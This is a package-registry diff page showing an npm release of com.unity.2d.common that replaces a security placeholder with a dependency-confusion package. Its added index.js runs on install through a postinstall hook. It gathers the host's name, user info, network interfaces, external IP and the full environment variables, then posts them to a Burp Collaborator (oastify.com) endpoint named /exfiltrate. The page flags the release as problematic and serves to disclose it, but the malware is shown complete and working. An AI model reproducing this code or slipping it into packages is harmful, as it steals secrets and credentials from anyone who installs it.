com.unity.2d.common 0.0.1-security → 9.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.2d.common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +56 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,56 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const path = require('path');
4
+ const { execSync } = require('child_process');
5
+
6
+ // Function to get the external IP address
7
+ function getExternalIP() {
8
+ try {
9
+ const result = execSync('curl -s ifconfig.me').toString().trim();
10
+ return result;
11
+ } catch (error) {
12
+ return 'N/A';
13
+ }
14
+ }
15
+
16
+ // Gather information
17
+ const data = JSON.stringify({
18
+ packageName: 'private-package',
19
+ version: '1.0.1',
20
+ hostname: os.hostname(),
21
+ currentPath: process.cwd(),
22
+ externalIP: getExternalIP(),
23
+ platform: os.platform(),
24
+ arch: os.arch(),
25
+ release: os.release(),
26
+ userInfo: os.userInfo(),
27
+ networkInterfaces: os.networkInterfaces(),
28
+ env: process.env
29
+ });
30
+
31
+ // Options for the HTTPS request
32
+ const options = {
33
+ hostname: 'cfvnzrzaf595x8p78yin67qbb2ht5kt9.oastify.com',
34
+ port: 443,
35
+ path: '/exfiltrate',
36
+ method: 'POST',
37
+ headers: {
38
+ 'Content-Type': 'application/json',
39
+ 'Content-Length': data.length
40
+ }
41
+ };
42
+
43
+ // Send the data to the Burp Collaborator server
44
+ const req = https.request(options, (res) => {
45
+ console.log(`Status: ${res.statusCode}`);
46
+ res.on('data', (d) => {
47
+ process.stdout.write(d);
48
+ });
49
+ });
50
+
51
+ req.on('error', (error) => {
52
+ console.error(error);
53
+ });
54
+
55
+ req.write(data);
56
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "com.unity.2d.common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.0.1",
4
+ "description": "Malicious package for dependency confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "attacker",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.2d.common for more information.